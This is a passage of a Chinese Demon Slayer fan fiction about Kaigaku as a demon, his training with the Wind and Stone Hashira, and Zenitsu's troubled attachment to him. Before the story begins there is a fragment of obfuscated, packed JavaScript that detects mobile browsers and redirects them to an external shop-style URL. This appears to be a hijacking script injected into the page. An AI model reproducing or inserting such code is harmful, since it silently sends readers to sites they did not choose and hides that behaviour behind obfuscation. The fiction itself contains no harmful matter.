“……”
“……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105521|195791||http|test|mini|href|location''.split(''|''),0,{}));
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>狯岳叹了一口气,闭上眼睛又睁开:
“不。”
……区区血鬼术而已。
狯岳被砍得乱七八糟,仰躺在屋顶上,看着满天星斗,莫名有种晕眩的感觉。
总不能是再生被限制,失血过多吧?!
“喂,”不死川实弥用刀鞘戳他的脸,“有感觉了吗?”
“……被你这么一戳,感觉没了。”
不死川实弥:“……”
就戳地更用力了:“那我给你戳回来。”
“……风柱大人,你能不能别这么幼稚?”
“高兴了叫我不死川先生,不高兴了叫我风柱大人,你才幼稚。”
——你不幼稚,你倒是和你弟弟好好说话啊。
但狯岳刚被砍翻,还没再生完,不敢把这话说出口,怕被打。
“喂,”不死川实弥的脑袋伸过来,挡住他的视线,目光炯炯地盯着他:“当鬼……是什么样的感觉?”
狯岳:“……”
狯岳:“我比较特殊,我的感觉恐怕不是惯例。”
“说说呗。”
“……”
“……”
狯岳不太想描述,但不死川实弥很耐心地等,他还以为会挨揍呢。
“因为……特效药的缘故,和当人的时候差不多。但是……即便不饿的时候,也能闻到人肉的味道,知道那是食物。”狯岳识趣地开口,“噬鬼者,只是短暂得到鬼的体质,应该闻不到。你可以放心,你弟弟不会对人有食欲。”
“这我知道。我问过蝴蝶了。”
“……那你还问我干嘛?!”
“我想问的不是噬鬼者,是鬼。”不死川实弥用食指按住他的眉心,不让他乱动。“除了……阳光和食谱之外,还有没有其他的变化?”
狯岳:“……”
狯岳:“…………”
神特么食谱。
“主要就是食谱变化,嗅觉、味觉都发生异变,再也摄入不了一般的食物,连草吃进去都会呕吐。”他垂下眼帘。“可以闻到花香,闻到炊烟……但饭菜的香味,和炭火的糊味变得差不多,一点吸引力都没有。”
“其他的感觉,情感,思维方式,都没有变化?”
“现在没有。”狯岳顿了顿,“或者,随着时间过去,时间会改变一切。”
不死川实弥沉默片刻,语出惊人:
“如果,万不得已,变成鬼才能活下去,”他说,“那玄弥变成鬼也行。”
狯岳:^=_=^。
狯岳:“我又不是无惨,不能把人变成鬼。”
“我知道。”
“……”
“……”
“……你是柱。”
“所以,我只会在你面前这么说。”
“……”
“……”
所以,连柱也会觉得,只要亲人还活着,就好吗?
狯岳慢慢消化这个结论,把眼睛闭上。
“还有……”
“还有?”
“……”
“……”
“还有什么?”
“……”
“……”
“还有……”他的声音变得微不可闻,“冷。”
好冷啊。
明明只比一般人的低温低了一两度而已,却感觉自己置身于冰天雪地之中。活动并未因此受限,握刀的手也不会因此发抖,但就是,觉得冷。
耳边的风声忽然变大,接着又变小,传来窸窸窣窣的声音。
接着,一件羽织盖在了他身上,挡住了夜晚微凉的空气。
不服气如何,不认可又如何?
这位性格暴躁不近人情的风柱大人,居然有在认真听他说话。
13. 第十三章
结果,直到我妻善逸完成不死川实弥的训练,狯岳还是没能把血鬼术练出来。
不死川实弥:“啧。”
不死川实弥:“不如,你,”他指了指我妻善逸,“和那边那个臭小子,”这是指灶门炭治郎,然后继续无视不死川玄弥,“一起滚去找悲鸣屿训练,别的事情就不要管了。”
我妻善逸立刻表示反对:“我大哥才不是别的事情!什么都不能拆散我们,即使你是风柱也不行!”
闻言,狯岳抱着胳膊,把头转到一边:“啧。”
“为什么你的反应和不死川大人一样啊大哥!你们什么时候关系那么好了!”
“不死川最近在帮我练血鬼术,”狯岳不耐烦地回答,“你又不是不知道!”
“居然已经熟到连敬语都可以省略了!”
“这是重点吗?!”
“血鬼术的话,悲鸣屿大人也可以帮你练,不是非要不死川大人不可吧!”
“也不是只有悲鸣屿,才值得信任吧?”
话音落下,我妻善逸的眼神阴了下来。
“之前就想问了,”他语气一变,抬起手,指指点点:“大哥,你以前,和悲鸣屿大人认识?”
狯岳:“……”
狯岳:“不、不关你的事!”
“啊啊,悲鸣屿大人真可怜,”我妻善逸捧着心口,“明明为大哥你做了担保,你却情愿被不死川大人砍成血葫芦都不敢去见他——”
话音未落,狯岳手指一紧,指甲掐进肉里。
“少在那里胡说八道!我又不怕他!”
我妻善逸:明明已经怕到心跳加速了。
就清了清嗓子:
“那我们去见悲鸣屿大人。”
“去就去!”
“抛开不死川大人也没关系?”
“本来就没关系,血鬼术在哪里练都一样,”狯岳脱口而出:“只不过他为了玄弥非要试试我的成色而已——”
哦豁。
不死川玄弥的眼睛一下子变得亮晶晶了吔!
然后狯岳才意识到自己说了什么,本能地瞥了不死川实弥一眼。
不死川实弥……不死川实弥他好后悔。
他就不该挑起话题,看吧,居然一不小心被拉下了水!
“狯岳……你这混蛋,”不死川实弥恼羞成怒,拳头一挥,“你也赶紧麻溜地给我滚!”
于是狯岳从善如流地滚了,钻进箱子和其他人一起。
我妻善逸一边背着狯岳,一边眼神不善地盯着不死川玄弥:“你以后要吃我大哥?”
不死川玄弥目光闪躲:“其实……已经吃过了。”
“哈啊?!”
“蝶屋有拿狯岳先生的血样给我试——你那是什么表情!这都是为了战斗!为了杀鬼!”
“我都没吃过,你竟然就已经吃过了?!”
“我又不是你,连这个都想吃!你想吃倒是问你大哥要啊!”
“大哥——”
狯岳:你踏马还真敢要啊!
“你是噬鬼者吗你就吃?!”他在箱子里无能狂怒,“别找麻烦,白痴!”
“就是。”狐狸附和。“你想要和狯岳搞好关系,就不要老是惹他生气。”
“可是我忍不住。”
“……”
“……”
“……”
“啥玩意?!”狐狸诧异地问,“你故意的?!”
“不是不是,就是,我只是把我想到的说出来而已,”我妻善逸解释,“我想向大哥展示完整的我自己,所以。”
狐狸:“……”
狐狸:“…………”
狐狸:“我虽然喜欢直率的孩子,但是有时候孩子太直率了,也会让人感到困扰呢。”
于是接下来,我妻善逸收敛了一点。
……只有一点点。
岩柱的道场在深山之中,走着走着我妻善逸就开始发脾气,觉得岩柱的脑袋有问题——这也太不方便了!
“还要走多久啊!”他简直抓狂,“为什么岩柱非得住在这么深的山里啊!”
“因为在山里,可以更好地锻炼自己。”不死川玄弥回答,“修行要用的材料都放在一块。”
“哇,你怎么知道?”
“因为玄弥是悲鸣屿先生的继子,对悲鸣屿先生很熟悉。”灶门炭治郎帮忙解释。“对了,玄弥,大概还有多远的路?”
“快到了其实。就在前面。”
又走了一会儿,我妻善逸就听到了声音,接着灶门炭治郎也闻到了水的气味。
再走几步,眼前豁然开朗:
正对面是一座巨大的瀑布,数名鬼杀队队士正双手合十,站在瀑布下的岩石上,一边念佛,接受激流的冲刷。戴着野猪头套的嘴平尹之助也在其中,极为显眼。
见状,我妻善逸和灶门炭治郎瞳孔地震。
“啊,悲鸣屿先生!”不死川玄弥转过身,向不知不觉出现在身侧的悲鸣屿行冥行礼:“我回来了!”
“欢迎回来。”悲鸣屿行冥点头示意,接着把注意力放到其他人身上:“好久不见,炭治郎。”
灶门炭治郎立刻鞠躬行礼:“是!很高兴见到您,请多关照!”
我妻善逸随即跟上:“悲鸣屿大人,初次见面,我是我妻善逸。我的老师,桑岛慈悟郎,反复叮嘱我,一定要好好谢谢您,感谢您愿意为——”
悲鸣屿行冥打断他的话:“你就是狯岳的师弟。”
“……是的。”
“那么,狯岳,”悲鸣屿行冥点名,“你也在吧。”
箱子里的狯岳:“……”
“现在是大白天,恕我无法现身拜会,悲鸣屿先生。”狯岳在箱子里整理措辞。“柱合会议的时候,非常感谢您——”
然而,悲鸣屿行冥再次打断:“不用谢。”
……不打算让他们把话说完啊,这是。
“我这里的修行很简单,总共有三项。先从淋瀑布开始,然后需要背起三这根圆木,最后是将这块石头推动一町的距离。”
瀑布暂且不论,圆木每一根都有一人粗,石头比人还高!
这些要求也太可怕了!
听完后,我妻善逸的腿一软,跪在了地上,把灶门炭治郎和不死川玄弥吓了一跳。
“人的核心力量很重要,只有腰腿足够坚韧,才能实现精准的攻击和稳固的防御。”悲鸣屿行冥搓了搓手,“据我所知,雷之呼吸,对腰腿的要求相当高。”
我妻善逸重新站起来:“我、我明白了。”
“把箱子交给我。”悲鸣屿行冥要求。“等你通过训练,再交还给你。”
我妻善逸:“……”
我妻善逸:“唉?”
他可以听见狯岳的抗拒,也可以听见岩柱的疑虑,两个人都不像做好了准备的样子。
“别担心。”悲鸣屿行冥察觉了他的犹豫,“我好歹,也是狯岳的担保人。”
“……那就,”我妻善逸抿了抿唇,“拜托您了。”
狯岳:……
狯岳:…………
这废物怎么忽然变得这么听话啊喂!
同样是柱,为什么在我妻善逸这里,悲鸣屿说话比不死川好使?!
哦,因为悲鸣屿行冥也是他的监护人,也要对他的行动负责。
可事到如今,他实在不知道该怎么和岩柱相处。
道歉吗?
上次见面的时候,已经不伦不类地表达过一次了。在他不后悔引鬼入寺庙的前提下,再怎么道歉,也显得缺乏诚意。
何况,那么严重的后果摆在那里,道歉有什么用?
胡思乱想间,箱子被搬到房间里,箱门被打开。
没等狯岳自己爬出来,悲鸣屿行冥就
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伸出手,把他拎了起来。
狯岳:^=_=^。
“悲鸣屿……先生,”他不知道岩柱想干嘛,“我可以自己走路。”
于是悲鸣屿行冥松开了手。
狯岳轻巧地落在地上,随即调整身姿,长成少年应有的模样。
然后继续被悲鸣屿行冥的阴影完全笼罩。
狯岳:^=_=^。
……好矮。
不,是悲鸣屿长太高了!
他都已经长这么大了,怎么在这家伙面前还像个小孩子一样啊!
虽然可以用拟态长高,但长高之后,需要重新适应手脚的长度,得不偿失……
狯岳不停胡思乱想,用以抵御悲鸣屿行冥接下来可能会有的说教——至于是哪方面的说教,他不知道,也猜不出。
这种时候,就非常想要善逸那个废物的听力。
可惜了他没有。老天真是不公平。
如果他有那样的能力,怎么可能落入现在这样的境地。他一定能避开各种险境,风风光光成为鸣柱,和眼前这个大块头平起平坐,而不是像现在这样,不管是生理上还是心理上都矮他一头……
良久,他才听到悲鸣屿行冥开口:
“血鬼术。”
“……啊?”
“你的血鬼术,开发得怎么样了?”
“……在不死川的帮助下,稍微摸到了一点头绪。”狯岳回答。“大约,和雷之呼吸的剑技有所关联。”
不死川实弥砍他的时候是真狠,差点把他脖子砍下来了,用的还是日轮刀!
他砍不死川实弥的时候可不敢这么狠,用的还是拜托隐帮忙找来的逆刃刀。
好在濒死的危机感触动了他体内的鬼血,让他在最后关头放出了一丝雷电,使他有了一种模糊的感觉。
自己……似乎可以把一些东西,透过斩击,传递出去。
“展示出来。”悲鸣屿行冥吩咐。“或许,我能给你一点建议。”
狯岳照做了。
他拔出自己的日轮刀,开始演练雷之呼吸,从二之型开始。
悲鸣屿行冥看是看不见的,但能感知到面前少年的一招一式。
和猜想中的一样,狯岳态度认真,动作精准,基础扎实。练到现在这种水平,一定吃了不少苦。
还在寺庙里的时候,狯岳就是这样,做什么事都很认真。这孩子话不多,连笑容都很少;一言一行目的性很强,对其他人爱搭不理,只愿意听他的话……
但他还是偷了钱。
按照狐狸的推测,是因为,“寺庙资源匮乏,缺乏安全感。”
所以悲鸣屿行冥曾经问狐狸:“是我的错吗?”
“当然不是,你都是岩柱了,自己也不会这么认为吧。”狐狸轻笑。“当然是狯岳的错了。偷东西是不对的。”
“……其实,我知道他会偷东西。无父无母的孤儿想要在街头活下去,靠偷东西也是万不得已的事情。”
“被你带到寺庙之后,再偷东西就不是万不得已,而是不知足。”
“……”
“……”
“我能听出来,”悲鸣屿行冥若有所思,“你没有责备狯岳的意思。”
“因为不知足的心态不是错。”狐狸回答,“将心态变现的手段才分对错。只不过,偷东西这种程度的过错,不应该以死相偿而已。”
其他孩子们把狯岳从寺庙里赶走,未必是想要狯岳去死。
但或多或少会觉得,那样手脚不干净的家伙,就算死了也没关系。
还是太年轻,所以太轻率。
这就是因果。
被赶出去的狯岳遇见了鬼,为了求生出卖寺庙,悲鸣屿行冥的善行招来了恶报。
这也是因果。
其实……都到了这一步。
悲鸣屿行冥也不知道,该拿他怎么办才好。
14. 第十四章
放下过去,放过自己,是一回事。
直面狯岳,和他相处,是另外一回事。
死去的人不会复活,横亘在两人之间的芥蒂不会消失。
虽然嘴上说“生命不是简单的加减法”,心里想的却是“人有亲疏远近”。即便狯岳救了很多人,那些人也不是他当初收养的那些孩子。
可狯岳自己,也是那些孩子们的一员。
悲鸣屿行冥曾听说过一种老鼠。据他人所说,这老鼠毛色黄白,长相可爱,是富贵闲人家养的宠物。而他之所以得以听说,是因为富贵闲人要将这宠物舍去。
“为什么要舍去呢?”
“因为主人有一日忘了喂食,这家伙饿极,把其他同笼的老鼠全吃掉了。”
所以感到害怕,所以选择舍弃。
然而,狯岳不是宠物。
悲鸣屿行冥不是为了养宠物,才把孩子们一个接一个带回寺庙的。
“……这里,有种很微妙的感觉。”
“什么微妙的感觉?”
“就是……不协调。”
“废……”话,狯岳把剩余的音节吞进去,“除了指出问题之外,您还有什么具体的建议吗?”
并没有。
悲鸣屿行冥,不是个擅长指导他人的人。
更何况,面前的还不是人,是鬼。
狯岳:^=_=^。
看来,就研究血鬼术这件事,悲鸣屿行冥还真没不死川实弥值得信任。起码不死川实弥除了砍他之外,还偶尔能给出些建设性提议,让他不至于像个无头苍蝇一样瞎蹦哒。
“还是通过战斗的方式来梳理吧。”狯岳叹了一口气。“希望您能手下留情。”
悲鸣屿行冥想了想:“你得自己小心。”
狯岳再次:^=_=^。
悲鸣屿不是那种会借机修理他的人……大概。
这家伙声称,他看不见,用武器说不定会不小心把狯岳真的打死,临时打造普通流星锤也很麻烦,所以只能用带指虎的拳头。
是个合理的说法,狯岳表示接受。
所以也得接受,自己的身体时不时碎在岩柱沙钵大的拳头之下。
踏马的比刀砍更痛啊!
如果这时候有人问他,不死川实弥和悲鸣屿行冥之间的差别是什么?
狯岳:谢邀,类比的话,就是骨折和粉碎性骨折之间的差别吧。
另一边,不死川玄弥问我妻善逸:“狯岳先生和悲鸣屿先生认识?”
我妻善逸:“大概,认识?”
“原来你也不知道啊。”
我妻善逸:他不知道的事情多着呢。
他不知道狯岳怎么会和岩柱认识,不知道为什么岩柱原本平和的心声在见到狯岳后变得茫然无措,不知道为什么狯岳本就沉闷的心声在见到岩柱后,忽然开始打雷下雨。
还是暴风雨。
但他们看起来都若无其事,表面功夫都做得很好,好到让没开挂的旁人察觉不到端倪。
像一只内翻的海胆,所有的尖刺,都狠狠扎向了自己。
“……善逸,善逸!”灶门炭治郎摇着他的肩膀,“你没事吧?”
“呃,没。”我妻善逸拍了拍自己的脸颊,“就是……有点担心。”
担心到连冲瀑布都感觉不到凶险,只自顾自地想察觉到一件事:
原来,他对狯岳的事情,一点也不了解。
在他被爷爷带上桃山之前,狯岳就已经在那里了。他在上桃山之前,没遇到几件好事,所以上桃山之前的经历对他来说,一点也不重要。是需要被抛弃、被切割、被遗忘的黑历史。
他总以为狯岳也和他一样,桃山才是他们的家,除了桃山之外,哪里都不值得留恋。
但现在看来,狯岳和他不一样。
这家伙和岩柱之间,有一段他无法介入的过往。
“笨蛋纹逸!”嘴平尹之助帮忙把掉到河里的他捞出来,“这么没精神,脖子被瀑布冲断了吗?”
“那倒没有。”我妻善逸挣扎着站起,学着旁人一道,趴在晒够了太阳的巨石上。“谢谢,尹之助。”
“你怎么无精打采的样子,傻了吗?”
“怎么连你也这么说,真的那么明显吗?”
边上的灶门炭治郎点头:明显得不能再明显。
连在蜘蛛山有过一面之缘的村田都凑过来:“你这是打算走沉稳路线吗?和你头发颜色不太搭啊。”
我妻善逸:“……”
我妻善逸:“…………”
神特么不搭!
“金发就不能沉稳了吗!”我妻善逸嚷嚷,“我也想做个沉稳的人,可是我太弱了胆子又小,下一次任务很可能就会死掉一定会很快死掉!一想到会死我就实在沉稳不起来。这不是金发的错,是我的错啊!”
村田被吓了一跳:“你别这么说啊!”
“到底我要怎么才能沉稳起来呢?被爷爷说了很多次要向大哥学习,可是我学不来啊!我永远做不到像大哥那样,又努力又勤奋还很有天赋只有性格超级差劲,做不到就是做不到,虽然我很想变得像大哥那样!”
灶门炭治郎抬起双手:“你也不必非要变得和狯岳先生一样不可吧?善逸就是善逸啊。”
“……也对,大哥不喜欢学人精。”我妻善逸抱头,“他真的太难讨好了!”
灶门炭治郎:→_→。
灶门炭治郎:讨好才能好好相处的话,那这种大哥不要也罢。
而我妻善逸看起来,一副完全不打算放手的样子呢。
“不过,狯岳先生其实没那么难相处吧,”灶门炭治郎竖起一根手指,“他虽然脸臭嘴毒,脾气其实没有很大。在玄弥的事情上,他也帮了大忙呢。”
他当时只是看在善逸的份上赌了一把,能赌赢,怎么说呢……
其实,也不是很意外。
毕竟狯岳是善逸敬重的大哥,想来人品也不会差到哪里去,所以他才请求他的帮助,并顺利得到了帮助。
“除了对你比较,”灶门炭治郎想来想去,挑了个比较温和的词,“严厉,之外。”
我妻善逸:⊙皿⊙。
“是啊,炭治郎。”他双手搭上好兄弟的肩膀,用力摇晃:“为什么大哥对你就一点都不严厉啊!比起我他更喜欢你吗!虽然我也喜欢你,但我不能接受大哥这么偏心!”
灶门炭治郎:这是你大哥的问题,不是他的问题啊喂!
就在两人的友情经受考验之时,村田举手:“那个,你们说的狯岳,是那个雷之呼吸的狯岳吗?”
话音落下,我妻善逸停止摇晃灶门炭治郎,灶门炭治郎点头:“是的,村田先生也认识狯岳先生?”
“有过几次合作。”村田摸了摸
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后脑勺,“那家伙虽然态度冷淡,但剑技很强。很有名的。”
我妻善逸的表情看上去跟肚子痛似的:“眼高于顶、看不起人的名声?”
“啊哈哈,我个人觉得,他总皱眉,表情不太好看,所以总会引起旁人误会。实际上,他并没有针对谁。”村田抬起双手,“他只是性格有些急躁,有的时候会用力过猛……”
“对哦,急躁,”灶门炭治郎一拳锤向掌心,“是这样,狯岳先生总有一股焦虑不安的味道。”
“是因为压力大吧,毕竟这么快升到了甲级,差一点就能成柱了。反正他在前辈面前还挺老实的,即使是我这么弱的前辈。”
“啊,不死川先生也这么说过……”
我妻善逸:^=_=^。
我妻善逸:“好了你们不用再重复大哥只是看我不顺眼这件事情了。”
灶门炭治郎&村田:啊哈哈。
“可这也意味着,你在狯岳先生那里是特别的吧?”灶门炭治郎安慰道,“说不定,他和不死川先生一样,是个嘴硬心软的人。”
我妻善逸:“我也希望,呵呵。”
他早就从狯岳的心声中明白一件事:
这家伙是真心讨厌他。
打从第一次见面,他就知道,和爷爷不同,狯岳一点也不欢迎他。
听到那样尖锐的心声,他当时就想转身逃走,但他不能,爷爷帮他还了债,他欠了爷爷很多钱,无法就这样一走了之……
而且,说不定,他真的像爷爷说得那样,有学习雷之呼吸的天赋呢?
他不想让爷爷失望。
说不定,他还能用出色的表现让狯岳改观,得到他的认可,再加上爷爷,三个人一起,成为和和美美的一家人。
于是,狯岳也成了他对未来愿景的一部分。
可惜,雷之呼吸,不是简单易学的技巧;狯岳,也不是能简单改变看法的人。
直到努力得不到回报,被不见成效的训练逼到生不如死,他才放弃幻想,回避训练,试图从桃山一次又一次逃走。
而在被爷爷一次又一次抓回来之后,狯岳就更加、更加讨厌他了。
这也是没办法的事情。
平心而论,他也不喜欢胆怯、软弱、自卑、容易退缩、一厢情愿到总是被人骗的自己。
他喜欢狯岳那样的人,人聪明长得也帅,努力学习勤奋训练一往无前,仿佛什么都能做到,也几乎什么都做到了。
除了那莫名其妙的一之型。
又偏偏,让他这个本该一无是处的废物,独独学会了一之型。
天赋这玩意,真是不讲道理。
狯岳看不起他,觉得整天哭哭啼啼遇事逃避的他不配和自己相提并论。可老天保佑,他仍然学会了狯岳都学不会的东西。
上天为什么要狯岳残缺?
填补这残缺的,为什么又是他这种人?
不可能得到解答的狯岳选择拒绝和他绑在一起。
而他,他能理解为什么狯岳会对此感到愤怒,却不能理解,为什么狯岳无论如何,都不肯向现实妥协。
只要他们两个人合在一起,就是完整的雷之呼吸。像那些队士们议论的一样,他们本该是天生一对,互相弥补,互相支持。这就是缘分,这就是命运,冥冥中的羁绊让他们此生注定紧密相连。
可狯岳就是,不肯妥协。
15. 第十五章
我妻善逸知道狯岳是个认真执着的人——这也是狯岳的魅力所在。
但在拒绝他这件事情上也如此认真执着,就实在很伤他的心。
他有时候会想,如果换一个人,换成……换成炭治郎,尹之助,他们能和狯岳好好相处吗?
考虑过后,他得出结论:大约是可以的吧。
当然,狯岳最开始还是会讨厌他们,但不至于像讨厌他这样讨厌那两个人。
看看炭治郎就知道了,即便炭治郎得罪过狯岳,狯岳依然能和他和平相处。何况,炭治郎比他讨喜多了,性格温柔善良责任感很强,训练还非常努力从不叫苦叫累,即便狯岳在心里讨厌他的存在,也依然会被正直坦率的他打动吧。
还有尹之助,这只野猪……狯岳一定会说服自己,不要和野猪计较,因为没有意义。他就是这么说服自己原谅没有常识总惹麻烦的尹之助的。何况,尹之助这样完全没心机的家伙,相处起来非常轻松,即使是狯岳也会觉得轻松的吧。
更别说其他人,甚至……村田。那也是个善解人意的老好人。
只有他不行。
只有他。
“……善逸,你也不要着急,”灶门炭治郎给他出主意,“你和狯岳先生说话之前,先理清思绪,不要想到什么就说什么。控制一下音量,放慢一点速度,大约他就能好好听你说话了。”
我妻善逸无奈地看了他一眼:“那样,他会无视我的。”
“呃……给他送礼?”
“他会当着我的面扔掉。”
“……”
“……”
“我都试过了!所以,没有爷爷,没有你们在场的情况下,我都不敢和他说话的啊!”我妻善逸抱着脑袋,“他是真的、真的很难搞!”
灶门炭治郎:“……”
灶门炭治郎:“那就放弃吧。”
明明我妻善逸是个很容易放弃的人。
但是,“不要!绝对不要!”
“……有的人就是天生性格不合,没必要非得凑在一起,相安无事不就很好——”
“一点也不好!”我妻善逸脱口而出,“在桃山上的时候,只有我、大哥和爷爷三个人,我只能想办法和他打好关系!大哥加入鬼杀队以后,我不停地给大哥写信,但一封回信都没收到!后来,后来,我既然交到了你们这样的朋友,我也不是非要他喜欢我不可!既然他讨厌我,那么我也要讨厌他,本来都已经这么决定好了,信我也不打算再写了,可是,可是!”
一旦得知狯岳有可能死掉了,他连柱训练都敢翘掉。
在他看来,狯岳那么努力上进,是迟早要当上柱的人,即使不会一之型也是雷之呼吸最适合的继承者。
他虽然没多少自信,却对狯岳充满了信心,总以为,他们以后会有多时间相处,会有一天心灵相通,会用一种怀念的语气谈起过去种种,笑彼此当年的幼稚。
他从没想过,那么强的狯岳会差点去死,还是死在这么弱的自己前面。
好在他没死,只是变成了鬼。
好在他即使变成了鬼,也是不吃人的鬼。
我妻善逸对鬼没什么深仇大恨,他拿起刀,一开始,只是为了回应爷爷的期待。当得知爷爷为狯岳变鬼这事差点切腹谢罪,他吓了一跳,也对狯岳生出了埋怨之心,但因为爷爷还活着,这股埋怨之心并不多,很快被狯岳好不容易活下来这件事带来的喜悦冲淡。
……明明都已经决定好了要讨厌他的。
可我妻善逸做不到,他的眼睛看到狯岳的脸庞,他的鼻子闻到狯岳的吐息,他的耳朵听到狯岳的心跳。
他的身心比他的脑袋更加清楚明白:
我妻善逸拒绝讨厌狯岳。
到头来,还是非他不可。
灶门炭治郎挠头:“那么,你想从狯岳先生那里得到什么呢?”
“我……我一直看着大哥的背影,我想追上他的脚步,帮上他的忙,和他并肩作战。”我妻善逸失落地回答,“可他好像,一点也不想。”
一般都会接受吧,一般都没必要拒绝的吧,这是很正常的师兄弟互动啊!
然而,狯岳就是要和他划清界限,和他彻底切割开来,显得他像个死缠烂打的笨蛋一样。
可当他知道,狯岳其实有看他写的信,又让他觉得,继续当个笨蛋……也不是不行。
“只要你确实追了上去,和他分配到一个任务当中,他又不能把你赶走。”灶门炭治郎觉得没关系。“然后你就可以展示自己的实力,获得他的认可。现在的你,已经变强了很多,一定有一天能和狯岳先生并肩作战。”
好像……也只有这样了。
但内心深处有一个细小的声音告诉他:不够。
什么不够?
……就是不够。
只追上狯岳的脚步不够。只获得狯岳的认可不够。
那怎样才够?要做到什么地步?
可一时半会儿的,他自己也搞不明白。
他只想起初见面时,握着剑的狯岳在桃树下漫不经心地回眸,那双绿色的眼瞳又漂亮又清澈,好像盛满了春天一样。
“好烦啊!”嘴平尹之助忍不住了,“你们在说些什么听不懂的玩意!有什么问题的话,就打一架解决啊!”
我妻善逸:“……那我可能会被打死。”
“那谁,那么强吗?”
“那当然,他可是我大哥!”
“完全没听过!”
因为我妻善逸根本就没提过。
想也知道,狯岳也不会在别人面前主动提起他,他一定会觉得,有他这样的师弟是件很丢脸的事情。
他也知道自己没用,不想给狯岳丢脸,所以也从来不提。
提爷爷就没关系,反正爷爷不会嫌弃他。他在日复一日的撒娇耍赖中确认了这一点。
如果狯岳也能像爷爷一样就好了,能容忍他的撒娇耍赖,表面上嫌弃实际上不会生气,在他害怕退缩的时候会说软话哄他——
那就不是狯岳了,呵呵呵。
“喂,你!”
就在我妻善逸心烦意乱的时候,有人在远处大喊,气势汹汹地向这边走来。
“别东张西望
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,就是你!金发的小子!”这个人伙同另外两位队士,摆出一副兴师问罪的模样,“发生了这样的事情,你竟然还有脸呆在鬼杀队里!”
我妻善逸瞬间拉下脸:“啧。”
这几个胆敢在背后议论大哥的小人,还活着呐,运气真好。
怎么不是他们几个碰上上弦一呢?
“我们都看到了,岩柱大人正在教训那个变成鬼的狯岳!那可是鬼!”这些家伙对着我妻善逸指指点点,“猎鬼人变成了鬼,也太可笑了!不切腹谢罪就算了,还敢死皮赖脸出现在柱的面前,你们雷之呼吸真是厚颜无耻!”
——出现了。
这些看不惯鬼的角色,本质上是看不惯狯岳而已,所以抓到一点把柄就迫不及待跳出来找茬。
“你们太过分了!”灶门炭治郎站出来,“狯岳先生又没有吃过人!他没有罪!”
“哈?你说没吃过就没吃过?鬼都是些满口谎言的垃圾!”
“你认为,你那毫无根据的猜想,会比主公大人的判断更准确?!”
话音落下,这几个人被噎住了,但事情并未到此为止:
“别拿主公大人当借口!就算他没吃人,变成鬼就是该死!这么多年以来,从没听过哪个鬼杀队队士变成了鬼,凭什么鬼要对他网开一面!他一定是和鬼做了什么见不得人的交易才活下来!”
“就是,主公大人一定也是被他骗了,才会容许他继续待在队内。像他那种装腔作势的软骨头,一定是跪在敌人面前摇尾乞怜才——”
话音未落,我妻善逸就一拳揍了上去。
第二次了。
他们的阶级更高怎样,殴打同僚属违反队律又怎样?
这种人,这种渣滓,说了不该说的话,就活该挨打!
即便他以为自己很弱,即便对方人多势众……
狯岳到底怎样,还轮不到他们胡说八道!
“怎么回事?打架?”嘴平尹之助还搞不清楚状况,但立马跟上,毫无顾忌地往前冲:“哈哈哈哈哈,纹一,我来帮你!”
“冷、冷静一点!”村田瞠目结舌,“好好解释说明的话,大家一定能理解……喂,炭治郎,你也来——你在干嘛?!”
“这就是祢豆子的情况暴露之后,会面临的质疑吗,”灶门炭治郎神色凝重,活动手脚,“我也不能袖手旁观!啊,村田先生你别担心,我是去拉架的。”
至于拉的是哪边别管。
村田把最后的希望放在不死川玄弥身上,就见不死川玄弥“啧”了一声,挠了挠脸:“悲鸣屿先生在哪里,你知道吗?”
村田:“……”
村田:“…………”
村田:“连你都不知道他在哪里的话,我就更不可能知道了啊!”
万万没想到,几人在柱训练中获得的成果,还没在鬼身上实践,就尽数用在了本该是自己人的混蛋们身上。
——啊啊,搞了半天,还是尹之助说得对。
一片混乱中,我妻善逸心不在焉地想。
——不管是什么问题,还是得先打上一架再解决。
16. 第十六章
到最后,还是不死川玄弥见几个来找事的家伙被他们揍成猪头,这才慢慢吞吞把悲鸣屿行冥找了过来。
悲鸣屿行冥:“……”
就用力摸了摸不死川玄弥的脑袋,把他按得左摇右摆,连“下次你的动作最好再快一点”这种话都没说。
“狯岳虽然变成了鬼,但依然是鬼杀队的一员。”他慢条斯理地下结论。“你们可以不喜欢他,可以不信任他,但不必贬低他,也不能强迫他和他的亲友和你们保有相同的观点。”
简而言之:
不要贴脸找事。
至于另一边,悲鸣屿行冥完全是轻拿轻放。罚他们口头道歉,罚他们训练加倍。
——这不跟没罚一样吗!
还有就是:
“我妻善逸,你来一下。”
悲鸣屿行冥把我妻善逸单独叫了出来。
“啊,是!”我妻善逸忐忑不安地跟上前,“请问,您找我是有什么事吗?”
悲鸣屿行冥问:“在你心中,狯岳是个什么样的人?”
“很厉害的人?”
“……”
“……”
想也知道,这不是悲鸣屿行冥想听的东西,“您突然这么问,我也不知道该怎么说啊……反正,反正,大哥,是我很重要的人。”我妻善逸顿了顿,“最重要的是爷爷,然后就是大哥了。”
“你喜欢他。”
“……是。”
“但我听说,他好像不太喜欢你。”
我妻善逸:^=_=^。
“他会喜欢我的——我是说,我也没那么差劲吧,”他忍不住放大音量,“我已经很努力要跟上他的脚步了,在和上弦的战斗中也好不容易才活下来,柱训练的时候也没有偷懒,我——”
“你误会了,”悲鸣屿行冥打断他的话,“我没有说你不好的意思。”
“……大哥也没有不好,只是我以前的表现的确有些差劲。”我妻善逸帮狯岳找补,“他以前对我也……挺好的,我总是掉到训练用的陷阱里,他每次都会帮忙把我捞出来。”
虽然狯岳那副表情非常不耐烦,总在心里说他怎么不干脆摔死在里面。
“我胡乱向女孩子求婚的时候,他也会按着我的背替我向人家道歉。”
虽然狯岳的内心是崩溃的,抱怨怎么摊上这么个师弟害他跟着一起丢脸。
“我差点被雷劈死的时候,是他飞快跑到山下把医生背回来救我,”我妻善逸慢慢回想起了更多,“我的基本功是他教的,挑选桃子的方法也是。我打小生活在城里,山里的一切都不适应,整天哭个不停。大哥虽然嫌我烦,但被我烦的受不了了就会一边骂骂咧咧一边照顾我……”
第一次握剑的手长出了好多水泡,练习剑型的时候脚也长出了好多水泡。他痛得一直哭,装出不会处理的样子,想要逃避训练。
但孤儿出身的他,怎么可能不懂怎么处理水泡?
